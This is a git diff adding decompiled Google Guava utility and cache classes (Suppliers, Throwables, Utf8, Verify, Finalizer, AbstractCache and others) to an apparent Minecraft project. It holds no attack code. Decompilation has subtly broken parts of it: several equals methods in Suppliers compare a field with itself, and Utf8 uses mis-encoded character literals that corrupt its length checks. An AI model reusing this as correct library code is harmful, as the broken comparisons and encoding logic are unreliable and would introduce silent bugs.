+    System.arraycopy(array, 0, array, n, size - n);
+    return new String(array);
+  }
+  
+
+
+
+
+
+
+
+  public static String commonPrefix(CharSequence a, CharSequence b)
+  {
+    Preconditions.checkNotNull(a);
+    Preconditions.checkNotNull(b);
+    
+    int maxPrefixLength = Math.min(a.length(), b.length());
+    int p = 0;
+    while ((p < maxPrefixLength) && (a.charAt(p) == b.charAt(p))) {
+      p++;
+    }
+    if ((validSurrogatePairAt(a, p - 1)) || (validSurrogatePairAt(b, p - 1))) {
+      p--;
+    }
+    return a.subSequence(0, p).toString();
+  }
+  
+
+
+
+
+
+
+
+  public static String commonSuffix(CharSequence a, CharSequence b)
+  {
+    Preconditions.checkNotNull(a);
+    Preconditions.checkNotNull(b);
+    
+    int maxSuffixLength = Math.min(a.length(), b.length());
+    int s = 0;
+    
+    while ((s < maxSuffixLength) && (a.charAt(a.length() - s - 1) == b.charAt(b.length() - s - 1))) {
+      s++;
+    }
+    if ((validSurrogatePairAt(a, a.length() - s - 1)) || (validSurrogatePairAt(b, b.length() - s - 1)))
+    {
+      s--;
+    }
+    return a.subSequence(a.length() - s, a.length()).toString();
+  }
+  
+
+
+
+  @VisibleForTesting
+  static boolean validSurrogatePairAt(CharSequence string, int index)
+  {
+    return (index >= 0) && (index <= string.length() - 2) && (Character.isHighSurrogate(string.charAt(index))) && (Character.isLowSurrogate(string.charAt(index + 1)));
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Supplier.java b/src/minecraft/com/google/common/base/Supplier.java
new file mode 100644
index 0000000..df9a264
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Supplier.java
@@ -0,0 +1,9 @@
+package com.google.common.base;
+
+import com.google.common.annotations.GwtCompatible;
+
+@GwtCompatible
+public abstract interface Supplier<T>
+{
+  public abstract T get();
+}
diff --git a/src/minecraft/com/google/common/base/Suppliers.java b/src/minecraft/com/google/common/base/Suppliers.java
new file mode 100644
index 0000000..4bf1e19
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Suppliers.java
@@ -0,0 +1,309 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.VisibleForTesting;
+import java.io.Serializable;
+import java.util.concurrent.TimeUnit;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public final class Suppliers
+{
+  private Suppliers() {}
+  
+  public static <F, T> Supplier<T> compose(Function<? super F, T> function, Supplier<F> supplier)
+  {
+    Preconditions.checkNotNull(function);
+    Preconditions.checkNotNull(supplier);
+    return new SupplierComposition(function, supplier);
+  }
+  
+  private static class SupplierComposition<F, T> implements Supplier<T>, Serializable {
+    final Function<? super F, T> function;
+    final Supplier<F> supplier;
+    private static final long serialVersionUID = 0L;
+    
+    SupplierComposition(Function<? super F, T> function, Supplier<F> supplier) {
+      this.function = function;
+      this.supplier = supplier;
+    }
+    
+    public T get() {
+      return function.apply(supplier.get());
+    }
+    
+    public boolean equals(@Nullable Object obj) {
+      if ((obj instanceof SupplierComposition)) {
+        SupplierComposition<?, ?> that = (SupplierComposition)obj;
+        return (function.equals(function)) && (supplier.equals(supplier));
+      }
+      return false;
+    }
+    
+    public int hashCode() {
+      return Objects.hashCode(new Object[] { function, supplier });
+    }
+    
+    public String toString() {
+      return "Suppliers.compose(" + function + ", " + supplier + ")";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Supplier<T> memoize(Supplier<T> delegate)
+  {
+    return (delegate instanceof MemoizingSupplier) ? delegate : new MemoizingSupplier((Supplier)Preconditions.checkNotNull(delegate));
+  }
+  
+  @VisibleForTesting
+  static class MemoizingSupplier<T>
+    implements Supplier<T>, Serializable
+  {
+    final Supplier<T> delegate;
+    volatile transient boolean initialized;
+    transient T value;
+    private static final long serialVersionUID = 0L;
+    
+    MemoizingSupplier(Supplier<T> delegate)
+    {
+      this.delegate = delegate;
+    }
+    
+    public T get()
+    {
+      if (!initialized) {
+        synchronized (this) {
+          if (!initialized) {
+            T t = delegate.get();
+            value = t;
+            initialized = true;
+            return t;
+          }
+        }
+      }
+      return value;
+    }
+    
+    public String toString() {
+      return "Suppliers.memoize(" + delegate + ")";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Supplier<T> memoizeWithExpiration(Supplier<T> delegate, long duration, TimeUnit unit)
+  {
+    return new ExpiringMemoizingSupplier(delegate, duration, unit);
+  }
+  
+  @VisibleForTesting
+  static class ExpiringMemoizingSupplier<T> implements Supplier<T>, Serializable
+  {
+    final Supplier<T> delegate;
+    final long durationNanos;
+    volatile transient T value;
+    volatile transient long expirationNanos;
+    private static final long serialVersionUID = 0L;
+    
+    ExpiringMemoizingSupplier(Supplier<T> delegate, long duration, TimeUnit unit) {
+      this.delegate = ((Supplier)Preconditions.checkNotNull(delegate));
+      durationNanos = unit.toNanos(duration);
+      Preconditions.checkArgument(duration > 0L);
+    }
+    
+
+
+
+
+
+    public T get()
+    {
+      long nanos = expirationNanos;
+      long now = Platform.systemNanoTime();
+      if ((nanos == 0L) || (now - nanos >= 0L)) {
+        synchronized (this) {
+          if (nanos == expirationNanos) {
+            T t = delegate.get();
+            value = t;
+            nanos = now + durationNanos;
+            
+
+            expirationNanos = (nanos == 0L ? 1L : nanos);
+            return t;
+          }
+        }
+      }
+      return value;
+    }
+    
+
+    public String toString()
+    {
+      return "Suppliers.memoizeWithExpiration(" + delegate + ", " + durationNanos + ", NANOS)";
+    }
+  }
+  
+
+
+
+
+
+  public static <T> Supplier<T> ofInstance(@Nullable T instance)
+  {
+    return new SupplierOfInstance(instance);
+  }
+  
+  private static class SupplierOfInstance<T> implements Supplier<T>, Serializable {
+    final T instance;
+    private static final long serialVersionUID = 0L;
+    
+    SupplierOfInstance(@Nullable T instance) {
+      this.instance = instance;
+    }
+    
+    public T get() {
+      return instance;
+    }
+    
+    public boolean equals(@Nullable Object obj) {
+      if ((obj instanceof SupplierOfInstance)) {
+        SupplierOfInstance<?> that = (SupplierOfInstance)obj;
+        return Objects.equal(instance, instance);
+      }
+      return false;
+    }
+    
+    public int hashCode() {
+      return Objects.hashCode(new Object[] { instance });
+    }
+    
+    public String toString() {
+      return "Suppliers.ofInstance(" + instance + ")";
+    }
+  }
+  
+
+
+
+
+
+  public static <T> Supplier<T> synchronizedSupplier(Supplier<T> delegate)
+  {
+    return new ThreadSafeSupplier((Supplier)Preconditions.checkNotNull(delegate));
+  }
+  
+  private static class ThreadSafeSupplier<T> implements Supplier<T>, Serializable {
+    final Supplier<T> delegate;
+    private static final long serialVersionUID = 0L;
+    
+    ThreadSafeSupplier(Supplier<T> delegate) {
+      this.delegate = delegate;
+    }
+    
+    public T get() {
+      synchronized (delegate) {
+        return delegate.get();
+      }
+    }
+    
+    public String toString() {
+      return "Suppliers.synchronizedSupplier(" + delegate + ")";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  @Beta
+  public static <T> Function<Supplier<T>, T> supplierFunction()
+  {
+    SupplierFunction<T> sf = SupplierFunctionImpl.INSTANCE;
+    return sf;
+  }
+  
+  private static abstract interface SupplierFunction<T> extends Function<Supplier<T>, T>
+  {}
+  
+  private static enum SupplierFunctionImpl implements Suppliers.SupplierFunction<Object> { INSTANCE;
+    
+    private SupplierFunctionImpl() {}
+    
+    public Object apply(Supplier<Object> input) { return input.get(); }
+    
+    public String toString()
+    {
+      return "Suppliers.supplierFunction()";
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Throwables.java b/src/minecraft/com/google/common/base/Throwables.java
new file mode 100644
index 0000000..3fd5fb4
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Throwables.java
@@ -0,0 +1,220 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Throwables
+{
+  private Throwables() {}
+  
+  public static <X extends Throwable> void propagateIfInstanceOf(@Nullable Throwable throwable, Class<X> declaredType)
+    throws Throwable
+  {
+    if ((throwable != null) && (declaredType.isInstance(throwable))) {
+      throw ((Throwable)declaredType.cast(throwable));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void propagateIfPossible(@Nullable Throwable throwable)
+  {
+    propagateIfInstanceOf(throwable, Error.class);
+    propagateIfInstanceOf(throwable, RuntimeException.class);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <X extends Throwable> void propagateIfPossible(@Nullable Throwable throwable, Class<X> declaredType)
+    throws Throwable
+  {
+    propagateIfInstanceOf(throwable, declaredType);
+    propagateIfPossible(throwable);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <X1 extends Throwable, X2 extends Throwable> void propagateIfPossible(@Nullable Throwable throwable, Class<X1> declaredType1, Class<X2> declaredType2)
+    throws Throwable, Throwable
+  {
+    Preconditions.checkNotNull(declaredType2);
+    propagateIfInstanceOf(throwable, declaredType1);
+    propagateIfPossible(throwable, declaredType2);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static RuntimeException propagate(Throwable throwable)
+  {
+    propagateIfPossible((Throwable)Preconditions.checkNotNull(throwable));
+    throw new RuntimeException(throwable);
+  }
+  
+
+
+
+
+  public static Throwable getRootCause(Throwable throwable)
+  {
+    Throwable cause;
+    
+
+
+
+    while ((cause = throwable.getCause()) != null) {
+      throwable = cause;
+    }
+    return throwable;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static List<Throwable> getCausalChain(Throwable throwable)
+  {
+    Preconditions.checkNotNull(throwable);
+    List<Throwable> causes = new ArrayList(4);
+    while (throwable != null) {
+      causes.add(throwable);
+      throwable = throwable.getCause();
+    }
+    return Collections.unmodifiableList(causes);
+  }
+  
+
+
+
+
+
+
+  public static String getStackTraceAsString(Throwable throwable)
+  {
+    StringWriter stringWriter = new StringWriter();
+    throwable.printStackTrace(new PrintWriter(stringWriter));
+    return stringWriter.toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Ticker.java b/src/minecraft/com/google/common/base/Ticker.java
new file mode 100644
index 0000000..7ef7f16
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Ticker.java
@@ -0,0 +1,63 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public abstract class Ticker
+{
+  protected Ticker() {}
+  
+  public abstract long read();
+  
+  public static Ticker systemTicker()
+  {
+    return SYSTEM_TICKER;
+  }
+  
+  private static final Ticker SYSTEM_TICKER = new Ticker()
+  {
+    public long read() {
+      return Platform.systemNanoTime();
+    }
+  };
+}
diff --git a/src/minecraft/com/google/common/base/Utf8.java b/src/minecraft/com/google/common/base/Utf8.java
new file mode 100644
index 0000000..492a42e
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Utf8.java
@@ -0,0 +1,197 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public final class Utf8
+{
+  public static int encodedLength(CharSequence sequence)
+  {
+    int utf16Length = sequence.length();
+    int utf8Length = utf16Length;
+    int i = 0;
+    
+
+    while ((i < utf16Length) && (sequence.charAt(i) < '€')) {
+      i++;
+    }
+    for (; 
+        
+        i < utf16Length; i++) {
+      char c = sequence.charAt(i);
+      if (c < 'ࠀ') {
+        utf8Length += ('' - c >>> 31);
+      } else {
+        utf8Length += encodedLengthGeneral(sequence, i);
+        break;
+      }
+    }
+    
+    if (utf8Length < utf16Length)
+    {
+      throw new IllegalArgumentException("UTF-8 length does not fit in int: " + (utf8Length + 4294967296L));
+    }
+    
+    return utf8Length;
+  }
+  
+  private static int encodedLengthGeneral(CharSequence sequence, int start) {
+    int utf16Length = sequence.length();
+    int utf8Length = 0;
+    for (int i = start; i < utf16Length; i++) {
+      char c = sequence.charAt(i);
+      if (c < 'ࠀ') {
+        utf8Length += ('' - c >>> 31);
+      } else {
+        utf8Length += 2;
+        
+        if ((55296 <= c) && (c <= 57343))
+        {
+          int cp = Character.codePointAt(sequence, i);
+          if (cp < 65536) {
+            throw new IllegalArgumentException("Unpaired surrogate at index " + i);
+          }
+          i++;
+        }
+      }
+    }
+    return utf8Length;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static boolean isWellFormed(byte[] bytes)
+  {
+    return isWellFormed(bytes, 0, bytes.length);
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean isWellFormed(byte[] bytes, int off, int len)
+  {
+    int end = off + len;
+    Preconditions.checkPositionIndexes(off, end, bytes.length);
+    
+    for (int i = off; i < end; i++) {
+      if (bytes[i] < 0) {
+        return isWellFormedSlowPath(bytes, i, end);
+      }
+    }
+    return true;
+  }
+  
+  private static boolean isWellFormedSlowPath(byte[] bytes, int off, int end) {
+    int index = off;
+    
+
+
+    for (;;)
+    {
+      if (index >= end)
+        return true;
+      int byte1;
+      if ((byte1 = bytes[(index++)]) < 0)
+      {
+        if (byte1 < -32)
+        {
+          if (index == end) {
+            return false;
+          }
+          
+
+          if ((byte1 < -62) || (bytes[(index++)] > -65)) {
+            return false;
+          }
+        } else if (byte1 < -16)
+        {
+          if (index + 1 >= end) {
+            return false;
+          }
+          int byte2 = bytes[(index++)];
+          if ((byte2 > -65) || ((byte1 == -32) && (byte2 < -96)) || ((byte1 == -19) && (-96 <= byte2)) || (bytes[(index++)] > -65))
+          {
+
+
+
+
+
+            return false;
+          }
+        }
+        else {
+          if (index + 2 >= end) {
+            return false;
+          }
+          int byte2 = bytes[(index++)];
+          if ((byte2 > -65) || ((byte1 << 28) + (byte2 - -112) >> 30 != 0) || (bytes[(index++)] > -65) || (bytes[(index++)] > -65))
+          {
+
+
+
+
+
+
+
+
+            return false;
+          }
+        }
+      }
+    }
+  }
+  
+  private Utf8() {}
+}
diff --git a/src/minecraft/com/google/common/base/Verify.java b/src/minecraft/com/google/common/base/Verify.java
new file mode 100644
index 0000000..88579f6
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Verify.java
@@ -0,0 +1,161 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public final class Verify
+{
+  public static void verify(boolean expression)
+  {
+    if (!expression) {
+      throw new VerifyException();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void verify(boolean expression, @Nullable String errorMessageTemplate, @Nullable Object... errorMessageArgs)
+  {
+    if (!expression) {
+      throw new VerifyException(Preconditions.format(errorMessageTemplate, errorMessageArgs));
+    }
+  }
+  
+
+
+
+
+
+  public static <T> T verifyNotNull(@Nullable T reference)
+  {
+    return verifyNotNull(reference, "expected a non-null reference", new Object[0]);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> T verifyNotNull(@Nullable T reference, @Nullable String errorMessageTemplate, @Nullable Object... errorMessageArgs)
+  {
+    verify(reference != null, errorMessageTemplate, errorMessageArgs);
+    return reference;
+  }
+  
+  private Verify() {}
+}
diff --git a/src/minecraft/com/google/common/base/VerifyException.java b/src/minecraft/com/google/common/base/VerifyException.java
new file mode 100644
index 0000000..b34c2d8
--- /dev/null
+++ b/src/minecraft/com/google/common/base/VerifyException.java
@@ -0,0 +1,39 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public class VerifyException
+  extends RuntimeException
+{
+  public VerifyException() {}
+  
+  public VerifyException(@Nullable String message)
+  {
+    super(message);
+  }
+}
diff --git a/src/minecraft/com/google/common/base/internal/Finalizer.java b/src/minecraft/com/google/common/base/internal/Finalizer.java
new file mode 100644
index 0000000..c355831
--- /dev/null
+++ b/src/minecraft/com/google/common/base/internal/Finalizer.java
@@ -0,0 +1,213 @@
+package com.google.common.base.internal;
+
+import java.lang.ref.PhantomReference;
+import java.lang.ref.Reference;
+import java.lang.ref.ReferenceQueue;
+import java.lang.ref.WeakReference;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Finalizer
+  implements Runnable
+{
+  private static final Logger logger = Logger.getLogger(Finalizer.class.getName());
+  
+
+
+
+
+  private static final String FINALIZABLE_REFERENCE = "com.google.common.base.FinalizableReference";
+  
+
+
+
+  private final WeakReference<Class<?>> finalizableReferenceClassReference;
+  
+
+
+
+  private final PhantomReference<Object> frqReference;
+  
+
+
+
+  private final ReferenceQueue<Object> queue;
+  
+
+
+
+
+  public static void startFinalizer(Class<?> finalizableReferenceClass, ReferenceQueue<Object> queue, PhantomReference<Object> frqReference)
+  {
+    if (!finalizableReferenceClass.getName().equals("com.google.common.base.FinalizableReference")) {
+      throw new IllegalArgumentException("Expected com.google.common.base.FinalizableReference.");
+    }
+    
+
+    Finalizer finalizer = new Finalizer(finalizableReferenceClass, queue, frqReference);
+    Thread thread = new Thread(finalizer);
+    thread.setName(Finalizer.class.getName());
+    thread.setDaemon(true);
+    try
+    {
+      if (inheritableThreadLocals != null) {
+        inheritableThreadLocals.set(thread, null);
+      }
+    } catch (Throwable t) {
+      logger.log(Level.INFO, "Failed to clear thread local values inherited by reference finalizer thread.", t);
+    }
+    
+
+    thread.start();
+  }
+  
+
+
+
+
+  private static final Field inheritableThreadLocals = getInheritableThreadLocalsField();
+  
+
+
+
+
+  private Finalizer(Class<?> finalizableReferenceClass, ReferenceQueue<Object> queue, PhantomReference<Object> frqReference)
+  {
+    this.queue = queue;
+    
+    finalizableReferenceClassReference = new WeakReference(finalizableReferenceClass);
+    
+
+
+    this.frqReference = frqReference;
+  }
+  
+
+
+
+
+  public void run()
+  {
+    try
+    {
+      while (cleanUp(queue.remove())) {}
+    }
+    catch (InterruptedException e) {}
+  }
+  
+
+
+
+
+
+
+  private boolean cleanUp(Reference<?> reference)
+  {
+    Method finalizeReferentMethod = getFinalizeReferentMethod();
+    if (finalizeReferentMethod == null) {
+      return false;
+    }
+    
+
+
+    do
+    {
+      reference.clear();
+      
+      if (reference == frqReference)
+      {
+
+
+
+        return false;
+      }
+      try
+      {
+        finalizeReferentMethod.invoke(reference, new Object[0]);
+      } catch (Throwable t) {
+        logger.log(Level.SEVERE, "Error cleaning up after reference.", t);
+
+
+      }
+      
+
+    }
+    while ((reference = queue.poll()) != null);
+    return true;
+  }
+  
+
+
+  private Method getFinalizeReferentMethod()
+  {
+    Class<?> finalizableReferenceClass = (Class)finalizableReferenceClassReference.get();
+    
+    if (finalizableReferenceClass == null)
+    {
+
+
+
+
+
+
+
+      return null;
+    }
+    try {
+      return finalizableReferenceClass.getMethod("finalizeReferent", new Class[0]);
+    } catch (NoSuchMethodException e) {
+      throw new AssertionError(e);
+    }
+  }
+  
+  public static Field getInheritableThreadLocalsField() {
+    try {
+      Field inheritableThreadLocals = Thread.class.getDeclaredField("inheritableThreadLocals");
+      
+      inheritableThreadLocals.setAccessible(true);
+      return inheritableThreadLocals;
+    } catch (Throwable t) {
+      logger.log(Level.INFO, "Couldn't access Thread.inheritableThreadLocals. Reference finalizer threads will inherit thread local values.");
+    }
+    
+    return null;
+  }
+}
diff --git a/src/minecraft/com/google/common/base/package-info.java b/src/minecraft/com/google/common/base/package-info.java
new file mode 100644
index 0000000..67ce0f6
--- /dev/null
+++ b/src/minecraft/com/google/common/base/package-info.java
@@ -0,0 +1,6 @@
+package com.google.common.base;
+
+import javax.annotation.ParametersAreNonnullByDefault;
+
+@ParametersAreNonnullByDefault
+abstract interface package-info {}
diff --git a/src/minecraft/com/google/common/cache/AbstractCache.java b/src/minecraft/com/google/common/cache/AbstractCache.java
new file mode 100644
index 0000000..dafb52f
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/AbstractCache.java
@@ -0,0 +1,291 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.Maps;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.ExecutionException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public abstract class AbstractCache<K, V>
+  implements Cache<K, V>
+{
+  protected AbstractCache() {}
+  
+  public V get(K key, Callable<? extends V> valueLoader)
+    throws ExecutionException
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public ImmutableMap<K, V> getAllPresent(Iterable<?> keys)
+  {
+    Map<K, V> result = Maps.newLinkedHashMap();
+    for (Object key : keys) {
+      if (!result.containsKey(key))
+      {
+        K castKey = key;
+        result.put(castKey, getIfPresent(key));
+      }
+    }
+    return ImmutableMap.copyOf(result);
+  }
+  
+
+
+
+  public void put(K key, V value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+  public void putAll(Map<? extends K, ? extends V> m)
+  {
+    for (Map.Entry<? extends K, ? extends V> entry : m.entrySet()) {
+      put(entry.getKey(), entry.getValue());
+    }
+  }
+  
+
+  public void cleanUp() {}
+  
+  public long size()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void invalidate(Object key)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+  public void invalidateAll(Iterable<?> keys)
+  {
+    for (Object key : keys) {
+      invalidate(key);
+    }
+  }
+  
+  public void invalidateAll()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public CacheStats stats()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public ConcurrentMap<K, V> asMap()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static final class SimpleStatsCounter
+    implements AbstractCache.StatsCounter
+  {
+    private final LongAddable hitCount = LongAddables.create();
+    private final LongAddable missCount = LongAddables.create();
+    private final LongAddable loadSuccessCount = LongAddables.create();
+    private final LongAddable loadExceptionCount = LongAddables.create();
+    private final LongAddable totalLoadTime = LongAddables.create();
+    private final LongAddable evictionCount = LongAddables.create();
+    
+
+
+
+    public SimpleStatsCounter() {}
+    
+
+
+
+    public void recordHits(int count)
+    {
+      hitCount.add(count);
+    }
+    
+
+
+
+    public void recordMisses(int count)
+    {
+      missCount.add(count);
+    }
+    
+    public void recordLoadSuccess(long loadTime)
+    {
+      loadSuccessCount.increment();
+      totalLoadTime.add(loadTime);
+    }
+    
+    public void recordLoadException(long loadTime)
+    {
+      loadExceptionCount.increment();
+      totalLoadTime.add(loadTime);
+    }
+    
+    public void recordEviction()
+    {
+      evictionCount.increment();
+    }
+    
+    public CacheStats snapshot()
+    {
+      return new CacheStats(hitCount.sum(), missCount.sum(), loadSuccessCount.sum(), loadExceptionCount.sum(), totalLoadTime.sum(), evictionCount.sum());
+    }
+    
+
+
+
+
+
+
+
+
+    public void incrementBy(AbstractCache.StatsCounter other)
+    {
+      CacheStats otherStats = other.snapshot();
+      hitCount.add(otherStats.hitCount());
+      missCount.add(otherStats.missCount());
+      loadSuccessCount.add(otherStats.loadSuccessCount());
+      loadExceptionCount.add(otherStats.loadExceptionCount());
+      totalLoadTime.add(otherStats.totalLoadTime());
+      evictionCount.add(otherStats.evictionCount());
+    }
+  }
+  
+  @Beta
+  public static abstract interface StatsCounter
+  {
+    public abstract void recordHits(int paramInt);
+    
+    public abstract void recordMisses(int paramInt);
+    
+    public abstract void recordLoadSuccess(long paramLong);
+    
+    public abstract void recordLoadException(long paramLong);
+    
+    public abstract void recordEviction();
+    
+    public abstract CacheStats snapshot();
+  }
+}
diff --git a/src/minecraft/com/google/common/cache/AbstractLoadingCache.java b/src/minecraft/com/google/common/cache/AbstractLoadingCache.java
new file mode 100644
index 0000000..07376d8
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/AbstractLoadingCache.java
@@ -0,0 +1,79 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.Beta;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.Maps;
+import com.google.common.util.concurrent.UncheckedExecutionException;
+import java.util.Map;
+import java.util.concurrent.ExecutionException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract class AbstractLoadingCache<K, V>
+  extends AbstractCache<K, V>
+  implements LoadingCache<K, V>
+{
+  protected AbstractLoadingCache() {}
+  
+  public V getUnchecked(K key)
+  {
+    try
+    {
+      return get(key);
+    } catch (ExecutionException e) {
+      throw new UncheckedExecutionException(e.getCause());
+    }
+  }
+  
+  public ImmutableMap<K, V> getAll(Iterable<? extends K> keys) throws ExecutionException
+  {
+    Map<K, V> result = Maps.newLinkedHashMap();
+    for (K key : keys) {
+      if (!result.containsKey(key)) {
+        result.put(key, get(key));
+      }
+    }
+    return ImmutableMap.copyOf(result);
+  }
+  
+  public final V apply(K key)
+  {
+    return getUnchecked(key);
+  }
+  
+  public void refresh(K key)
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/com/google/common/cache/Cache.java b/src/minecraft/com/google/common/cache/Cache.java
new file mode 100644
index 0000000..01bc162
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/Cache.java
@@ -0,0 +1,41 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.collect.ImmutableMap;
+import java.util.Map;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.ExecutionException;
+import javax.annotation.Nullable;
+
+@Beta
+@GwtCompatible
+public abstract interface Cache<K, V>
+{
+  @Nullable
+  public abstract V getIfPresent(Object paramObject);
+  
+  public abstract V get(K paramK, Callable<? extends V> paramCallable)
+    throws ExecutionException;
+  
+  public abstract ImmutableMap<K, V> getAllPresent(Iterable<?> paramIterable);
+  
+  public abstract void put(K paramK, V paramV);
+  
+  public abstract void putAll(Map<? extends K, ? extends V> paramMap);
+  
+  public abstract void invalidate(Object paramObject);
+  
+  public abstract void invalidateAll(Iterable<?> paramIterable);
+  
+  public abstract void invalidateAll();
+  
+  public abstract long size();
+  
+  public abstract CacheStats stats();
+  
+  public abstract ConcurrentMap<K, V> asMap();
+  
+  public abstract void cleanUp();
+}
diff --git a/src/minecraft/com/google/common/cache/CacheBuilder.java b/src/minecraft/com/google/common/cache/CacheBuilder.java
new file mode 100644
index 0000000..f1e762f
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/CacheBuilder.java
@@ -0,0 +1,891 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Ascii;
+import com.google.common.base.Equivalence;
+import com.google.common.base.Objects;
+import com.google.common.base.Objects.ToStringHelper;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Supplier;
+import com.google.common.base.Suppliers;
+import com.google.common.base.Ticker;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import javax.annotation.CheckReturnValue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class CacheBuilder<K, V>
+{
+  private static final int DEFAULT_INITIAL_CAPACITY = 16;
+  private static final int DEFAULT_CONCURRENCY_LEVEL = 4;
+  private static final int DEFAULT_EXPIRATION_NANOS = 0;
+  private static final int DEFAULT_REFRESH_NANOS = 0;
